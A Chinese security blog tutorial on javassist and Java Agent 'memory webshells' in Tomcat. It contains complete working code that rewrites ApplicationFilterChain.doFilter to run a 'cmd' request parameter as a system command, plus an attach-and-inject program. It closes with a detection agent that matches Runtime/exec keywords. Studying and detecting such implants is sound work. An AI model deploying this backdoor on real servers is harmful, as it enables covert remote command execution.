前言
这是通过 JavaAgent + javassist 动态修改 web 服务内部关键类注入恶意代码的内存马技术。限制是需要在已经控制目标机器并且上传 Agent jar 包和 javassist 包才可以完成的注入。
环境
tomcat 环境(目标受害环境):
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.itranswarp.learnjava</groupId>
<artifactId>web-listener</artifactId>
<version>1.0-SNAPSHOT</version>
<packaging>war</packaging>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
<maven.compiler.source>17</maven.compiler.source>
<maven.compiler.target>17</maven.compiler.target>
<java.version>17</java.version>
<tomcat.version>10.1.1</tomcat.version>
</properties>
<dependencies>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>${tomcat.version}</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-jasper</artifactId>
<version>${tomcat.version}</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-war-plugin</artifactId>
<version>3.3.2</version>
</plugin>
</plugins>
</build>
</project>
首先需要注意,我这里的环境是 jdk17。并且 tomcat 的版本是 10,所以 Servlet-api 下的相关包名也是不同的。环境与前文介绍的 tomcat 内存马有所不同,但大同小异。
4.0及之前的
servlet-api
由Oracle官方维护,引入的依赖项是javax.servlet:javax.servlet-api
,编写代码时引入的包名为:
import javax.servlet.*;
而5.0及以后的
servlet-api
由Eclipse开源社区维护,引入的依赖项是jakarta.servlet:jakarta.servlet-api
,编写代码时引入的包名为:
import jakarta.servlet.*;
Javassist
Javassist (Java Programming Assistant) makes Java bytecode manipulation simple. It is a class library for editing bytecodes in Java; it enables Java programs to define a new class at runtime and to modify a class file when the JVM loads it. Unlike other similar bytecode editors, Javassist provides two levels of API: source level and bytecode level. If the users use the source-level API, they can edit a class file without knowledge of the specifications of the Java bytecode. The whole API is designed with only the vocabulary of the Java language.
我们首先来学习一下 javassist 修改字节码的常用方法。
ClassPool
ClassPool
是 CtClass
对象的容器。CtClass
对象必须从该对象获得。如果 get()
在此对象上调用,则它将搜索表示的各种源 ClassPath
以查找类文件,然后创建一个 CtClass
表示该类文件的对象。创建的对象将返回给调用者。可以将其理解为一个存放 CtClass
对象的容器。
获得方法: ClassPool pool = ClassPool.getDefault();
。通过 ClassPool.getDefault()
获取的 ClassPool
使用 JVM 的类搜索路径。如果程序运行在 JBoss 或者 Tomcat 等 Web 服务器上,ClassPool 可能无法找到用户的类,因为Web服务器使用多个类加载器作为系统类加载器。在这种情况下,ClassPool 必须添加额外的类搜索路径。
pool.insertClassPath(new ClassClassPath(<Class>));
CtClass
可以将其理解成加强版的 Class 对象,我们可以通过 CtClass 对目标类进行各种操作。可以 ClassPool.get(ClassName)
中获取。
此类常用方法:
setSuperclass(CtClass clazz)
给类设置超类addConstructor(CtConstructor c)
给类添加构造器addField(CtField f)
添加给类字段writeFile()
将类写入文件detach()
从 ClassPool 中删除类addInterface(CtClass clazz)
添加接口removeMethod(CtMethod m)
删除某个方法toClass
将修改后的 CtClass 加载至当前线程的上下文类加载器中toBytecode
返回 CtClass 的字节码。常常用于缩短 Payload 长度的操作
CtMethod
符号 | 含义 |
$0,$1, $2, … | $0 = this; $1 = args[1] ….. |
$args | 方法参数数组。它的类型为 Object[] |
$$ | 所有实参。例如, m($$) 等价于 m(1,2,…) |
$cflow(…) | cflow 变量 |
$r | 返回结果的类型,用于强制类型转换 |
$w | 包装器类型,用于强制类型转换 |
$_ | 返回值 |
$sig | 类型为 java.lang.Class 的参数类型数组 |
$type | 一个 java.lang.Class 对象,表示返回值类型 |
$class | 一个 java.lang.Class 对象,表示当前正在修改的类 |
同理,可以理解成加强版的 Method
对象。可通过 CtClass.getDeclaredMethod(MethodName)
获取,该类提供了一些方法以便我们能够直接修改方法体。
getDeclaredMethod(String name, CtClass[] params)
通过 ctCtlass 获得对应的 ctMethodsetBody(String src)
设置方法体insertBefore(String src)
插入在方法体最前面插入内容insertAfter(String src)
在方法体最后插入内容insertAt(int lineNum, String src)
在方法体某一行插入内容setModifiers(int mod)
设置 Field 的方法修饰符,可选Modifier.PRIVATE
等
当然也可以通过创建一个 CtMethod 对象给我们创建的类进行添加方法如:
CtMethod sayHello = new CtMethod(CtClass.voidType, "sayHello", new CtClass[]{ctStringClass}, person);
//参数意思分别是(返回值,方法名,接收的参数,要设置的 CtClass 对象)
person.addMethod(sayHello);
CtField
可以直接创造一个 CtField 对象,下面是构造器
public CtField(CtClass type, String name, CtClass declaring) throws CannotCompileException {
this(Descriptor.of(type), name, declaring);
}
需要提供属性类,属性名,以及添加的对应 CtClass 对象
常用方法:
setModifiers(int mod)
设置 Field 的方法修饰符,可选Modifier.PRIVATE
等
很遗憾并没有找到修改属性值的方法,但是可以通过反射操作完成。
CtConstructor
同样的我们可以创建一个 CtConstructor 对象并添加到 CtClass 中
public CtConstructor(CtClass[] parameters, CtClass declaring) {
this((MethodInfo)null, declaring);
ConstPool cp = declaring.getClassFile2().getConstPool();
String desc = Descriptor.ofConstructor(parameters);
this.methodInfo = new MethodInfo(cp, "<init>", desc);
this.setModifiers(1);
}
CtNewConstructor
make(String src, CtClass declaring)
可以用这个类的 make 方法快速的创建一个 Ct构造器 如
CtConstructor constructor = CtNewConstructor.make("public Person(){}",person);
CtNewMethod
CtMethod make(String src, CtClass declaring)
可以用这个类的 make 方法快速的创建一个 Ct 方法如:
CtMethod aaa = CtNewMethod.make("public void aaa(String a){System.out.println(a);}", person);
也可以快速创建 setter 和 getter 方法
-
public static CtMethod CtMethod setter(String methodName, CtField field)
-
public static CtMethod CtMethod getter(String methodName, CtField field)
运行如下代码,可以创建出一个 class 文件,可以发现,并不能修改属性值
import javassist.*;
import java.io.IOException;
public class JavassistTest {
public static void createObject() throws NotFoundException, CannotCompileException, IOException {
ClassPool classPool = ClassPool.getDefault();
// 创建对象
CtClass person = classPool.makeClass("org.example.Person");
// 设置超类
CtClass ctObjectClass = classPool.getCtClass("java.lang.Object");
person.setSuperclass(ctObjectClass);
// 创建 name 字段,private name
CtField name = new CtField(classPool.get("java.lang.String"), "name", person);
name.setModifiers(Modifier.PRIVATE);
person.addField(name, CtField.Initializer.constant("Shule"));
CtField age = new CtField(classPool.get("java.lang.Integer"), "age", person);
age.setModifiers(Modifier.PRIVATE);
person.addField(age);
// 获取 ctString 类,便于后续处理
CtClass ctStringClass = classPool.getCtClass("java.lang.String");
// 创建一个 Person 的有参构造器
CtConstructor ctConstructor = new CtConstructor(new CtClass[]{ctStringClass}, person);
ctConstructor.setBody("{$0.name=$1;}");
person.addConstructor(ctConstructor);
// 创建一个私有的无参构造方法
CtMethod voidMethod = new CtMethod(CtClass.voidType, "voidMethod", new CtClass[]{ctStringClass}, person);
voidMethod.setModifiers(Modifier.PRIVATE);
voidMethod.setBody("{System.out.println(\"123456\");}");
person.addMethod(voidMethod);
// 添加 setter 和 getter 方法
person.addMethod(CtNewMethod.setter("setName", name));
person.addMethod(CtNewMethod.getter("getName", name));
// 添加一个 sayHello 的方法
CtMethod sayHello = new CtMethod(CtClass.voidType, "sayHello", new CtClass[]{ctStringClass}, person);
sayHello.setModifiers(Modifier.PUBLIC);
sayHello.setBody("{System.out.println(\"Hello \" + $1);}");
person.addMethod(sayHello);
// 用 CtNewMethod 快速创建一个方法
CtMethod AAA = CtNewMethod.make("public void aaa(String a){System.out.println(a);}", person);
person.addMethod(AAA);
CtMethod aaa = person.getDeclaredMethod("aaa");
aaa.insertAfter("System.out.println(123456);");
// 用 CtNewConstructor 快速创建一个构造器
CtConstructor constructor = CtNewConstructor.make("public Person(Integer a){a = 19;$0.age=a;}",person);
person.addConstructor(constructor);
person.writeFile("path\\target");
// . detach() 从ClassPool中删除类
}
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
JavassistTest.createObject();
}
}
结果如下:
Java Agent
既然要介绍 Java Agent 内存马,那必须得先知道这是什么东东。
Java Agent 是一种不影响正常编译的前提下,借助 Instrumentation API 修改 Java 字节码,进而动态地修改已经加载或未加载的类、熟悉和方法的技术。实际上 Java Agent 是一个精心设计的 Jar 包
主要有两个方法,一种是在 JVM 启动前加载的 premain-Agent
(静态加载),另一种是 JVM 启动后加载的agentmain-Agent
(动态加载)。
premain-Agent 是静态加载方式,加载命令行如下示例:
java -javaagent:agent.jar -jar application.jar
agentmain-Agent 动态加载使用 Java Attach API.
可以用 maven 生成 agent.jar。示例:对于如下 xml
运行 mvn:package
即可将 org.example.PreMainTraceAgent
打包成 jar 包
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<version>3.1.0</version>
<configuration>
<archive>
<!--自动添加META-INF/MANIFEST.MF -->
<manifest>
<addClasspath>true</addClasspath>
</manifest>
<manifestEntries>
<Premain-Class>org.example.PreMainTraceAgent</Premain-Class>
<Agent-Class>org.example.PreMainTraceAgent</Agent-Class>
<Can-Redefine-Classes>true</Can-Redefine-Classes>
<Can-Retransform-Classes>true</Can-Retransform-Classes>
</manifestEntries>
</archive>
</configuration>
</plugin>
agentmain
代理执行的入口点以及我们需要编写的方法为:
public static void agentmain(String args, Instrumentation inst)
premain-Agent
代理执行的入口点以及我们需要编写的方法为:
public static void premain(String agentArgs, Instrumentation inst)
在具体介绍之前我们还需要了解下面这几个类
Instrumentation
Instrumentation 是一个接口,使用其开发者可以构建一个独立于应用程序的代理程序(Agent),用来监测和协助运行在 JVM 上的程序,甚至可以替换和修改某些类的定义。常用方法如下:
public interface Instrumentation {
//增加一个Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);
//在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
void addTransformer(ClassFileTransformer transformer);
//删除一个类转换器
boolean removeTransformer(ClassFileTransformer transformer);
//在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;
//判断一个类是否被修改
boolean isModifiableClass(Class<?> theClass);
// 获取目标已经加载的类。
@SuppressWarnings("rawtypes")
Class[] getAllLoadedClasses();
//获取一个对象的大小
long getObjectSize(Object objectToSize);
}
VirtualMachine
com.sun.tools.attach.VirtualMachine
类可以实现获取 JVM 信息,内存 dump、现成 dump、类信息统计(例如 JVM 加载的类)等功能。
由于默认情况下 maven 不会将 com.sun 包添加到项目,我们需要手动添加 : Project Settings -> Libraries -> +
,当然也可以像我一样显性地在 pom.xml 中添加如下内容:
<dependency>
<groupId>com.sun</groupId>
<artifactId>tools</artifactId>
<version>1.8.0</version>
<scope>system</scope>
<systemPath>C:\\Program Files\\Java\\jdk1.8.0_311\\lib\\tools.jar</systemPath>
</dependency>
该类允许我们通过给 attach 方法传入一个 JVM 的 PID,来远程连接到该 JVM 上 ,之后我们就可以对连接的 JVM 进行各种操作,如注入 Agent。下面是该类的主要方法
//允许我们传入一个JVM的PID,然后远程连接到该JVM上
VirtualMachine.attach()
//向JVM注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理
VirtualMachine.loadAgent() // 填写 jar 包路径,能够动态加载 agent 并调用类中的 agentmain 方法
//获得当前所有的JVM列表
VirtualMachine.list()
//解除与特定JVM的连接
VirtualMachine.detach()
transform
在Instrumentation接口中,我们可以通过 addTransformer()
来添加一个 transformer
(转换器),关键属性就是 ClassFileTransformer
接口。可以利用 ClassFileTransformer
当中的 transform
方法则完成了类定义的替换。
注入 Agent 内存马示例
我们的目标是注入 tomcat 中的内存马。在前文中观察 servlet 和 filter 的调用栈可以发现,都会经过 ApplicationFilter#doFilter。而 Listener 的话比较好控制的地方是 StandardContext#fireRequestDestroyEvent,然而不容易获得 response 对象从而获得回显,Valve 同样也是,不是说不行,而是不够好。因此我们就从 ApplicationFilter#doFilter 注入介绍流程。
我们首先需要制作好恶意的 Agent.jar 文件,然后才能通过动态代理的方式进行注入。代码如下:
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
import java.security.ProtectionDomain;
public class AgentMainTest {
public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException {
Class [] classes = inst.getAllLoadedClasses();
for(Class cls : classes){
if (cls.getName().equals("org.apache.catalina.core.ApplicationFilterChain")){
//添加一个 transformer 到 Instrumentation,并重新触发目标类加载
inst.addTransformer(new DefineTransformer(),true);
inst.retransformClasses(cls);
}
}
}
static class DefineTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
System.out.println("loader: " + loader.getName() + " className:" + className);
try {
//获取 CtClass 对象的容器 ClassPool
ClassPool classPool = ClassPool.getDefault();
//添加额外的类搜索路径
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(ccp);
}
//获取目标类
CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");
//获取目标方法
CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");
//设置方法体
String body = "{" +
"jakarta.servlet.http.HttpServletRequest request = $1\n;" +
"String cmd=request.getParameter(\"cmd\");\n" +
"if (cmd!=null){\n" +
" java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();" +
"java.io.PrintWriter writer = $2.getWriter();" +
"java.util.Scanner scanner = new java.util.Scanner(in).useDelimiter(\"\\\\A\");" +
"String result = scanner.hasNext()?scanner.next():\"\";" +
"scanner.close();writer.write(result);" +
"writer.flush();writer.close();\n" +
" }else{internalDoFilter($1,$2);}"+
"}";
ctMethod.setBody(body);
//返回目标类字节码
byte[] bytes = ctClass.toBytecode();
return bytes;
}catch (Exception e){
e.printStackTrace();
}
return null;
}
}
}
可以很容易看到我们动态代理的逻辑,可以获得运行加载中的所有类,并且通过 javassist 进行字节码的修改并使修改后的类重新加载。
然后就是注入类,由于我的 tomcat 启动是通过 com.itranswarp.learnjava.Main
启动的,因此代码逻辑如下:
import com.sun.tools.attach.*;
import java.io.IOException;
import java.util.List;
public class GetPID {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for (VirtualMachineDescriptor virtualMachineDescriptor :list) {
if (virtualMachineDescriptor.displayName().equals("com.itranswarp.learnjava.Main")) {
String id = virtualMachineDescriptor.id();
VirtualMachine attach = VirtualMachine.attach(id);
attach.loadAgent("JavaAgent-1.0-SNAPSHOT.jar");
attach.detach();
}
}
}
}
由于 tomcat 与众多框架一样是懒加载模式,我们在启动 tomcat 服务后需要人为访问一次 web 才可以加载出 org.apache.catalina.core.ApplicationFilterChains
然后再运行 GetPID#Main
进行注入,一次即可注入成功
并且访问其它页面都是正常
内存马的排查
其实前面说了那么多,我只是想介绍一下如何排查通过反序列化注入内存马的思路。既然我们可以通过 Java Agent 动态的改变类方法的逻辑,我们也同样可以用这个方法进行判断恶意的内存类,并修改成无害的代码。
下面写了个简单的示例,完整代码见:https://github.com/Shulelk/killmeshell/:
package org.example.agentmain;
import javassist.*;
import javassist.bytecode.CodeAttribute;
import javassist.bytecode.CodeIterator;
import javassist.bytecode.MethodInfo;
import javassist.bytecode.Opcode;
import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
import java.security.ProtectionDomain;
public class AgentMain {
public static void agentmain(String args, Instrumentation inst) throws UnmodifiableClassException {
Class[] classes = inst.getAllLoadedClasses();
for (Class cls : classes) {
Class superclass = cls.getSuperclass();
if (superclass != null) {
String superclassName = superclass.getName();
if (superclassName.contains("HttpServlet") || superclassName.contains("ws.Endpoint")) {
inst.addTransformer(new CheckEvilTransformer(), true);
inst.retransformClasses(cls);
continue;
}
Class[] interfaces = cls.getInterfaces();
for (Class inter : interfaces) {
String interfaceName = inter.getName();
if (interfaceName.equals("javax.servlet.ServletRequestListener") || interfaceName.equals("jakarta.servlet.ServletRequestListener")
|| interfaceName.equals("javax.servlet.Servlet") || interfaceName.equals("jakarta.servlet.Servlet")
|| interfaceName.equals("org.apache.catalina.Valve") || interfaceName.equals("org.apache.catalina.Container")
|| interfaceName.equals("javax.servlet.Filter") || interfaceName.equals("jakarta.servlet.Filter")) {
inst.addTransformer(new CheckEvilTransformer(), true);
inst.retransformClasses(cls);
break;
}
}
}
}
}
static class CheckEvilTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
CtClass ctClass = null;
try {
//获取CtClass 对象的容器 ClassPool
ClassPool classPool = ClassPool.getDefault();
//添加额外的类搜索路径
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(ccp);
}
//获取目标类
ctClass = classPool.makeClass(new java.io.ByteArrayInputStream(classfileBuffer), false);
//获取目标方法
CtMethod[] declaredMethods = ctClass.getDeclaredMethods();
for (CtMethod ctMethod : declaredMethods) {
MethodInfo methodInfo = ctMethod.getMethodInfo();
CodeAttribute codeAttribute = methodInfo.getCodeAttribute();
if (codeAttribute != null) {
CodeIterator codeIterator = codeAttribute.iterator();
while (codeIterator.hasNext()) {
int index = codeIterator.next();
int op = codeIterator.byteAt(index);
if (op == Opcode.INVOKESTATIC || op == Opcode.INVOKEVIRTUAL || op == Opcode.INVOKESPECIAL) {
int constPoolIndex = codeIterator.u16bitAt(index + 1);
String invokedMethod = methodInfo.getConstPool().getMethodrefClassName(constPoolIndex) + "."
+ methodInfo.getConstPool().getMethodrefName(constPoolIndex);
if (invokedMethod.contains("Runtime") || invokedMethod.contains("exec") || invokedMethod.contains("ProcessBuilder")
|| invokedMethod.contains("Class.forName") || invokedMethod.contains("ClassLoader.defineClass")
) {
//设置方法体
String body;
if (ctMethod.getName().equals("doFilter")) {
body = "{$3.doFilter($1,$2);}";
} else {
body = "{System.out.println(\"Hacker!\");}";
}
ctMethod.setBody(body);
}
}
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
try {
return ctClass.toBytecode();
} catch (IOException | CannotCompileException e) {
return null;
}
}
}
}
pom.xml: 记得把 javassist 依赖打包进去
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<version>3.1.0</version>
<configuration>
<archive>
<manifest>
<addClasspath>true</addClasspath>
</manifest>
<manifestEntries>
<Premain-Class>org.example.agentmain.AgentMainTest</Premain-Class>
<Agent-Class>org.example.agentmain.AgentMainTest</Agent-Class>
<Can-Redefine-Classes>true</Can-Redefine-Classes>
<Can-Retransform-Classes>true</Can-Retransform-Classes>
</manifestEntries>
</archive>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<version>3.3.0</version>
<configuration>
<archive>
<manifestEntries>
<Premain-Class>org.example.agentmain.AgentMainTest</Premain-Class>
<Agent-Class>org.example.agentmain.AgentMainTest</Agent-Class>
<Can-Redefine-Classes>true</Can-Redefine-Classes>
<Can-Retransform-Classes>true</Can-Retransform-Classes>
</manifestEntries>
</archive>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
</configuration>
<executions>
<execution>
<id>make-assembly</id>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>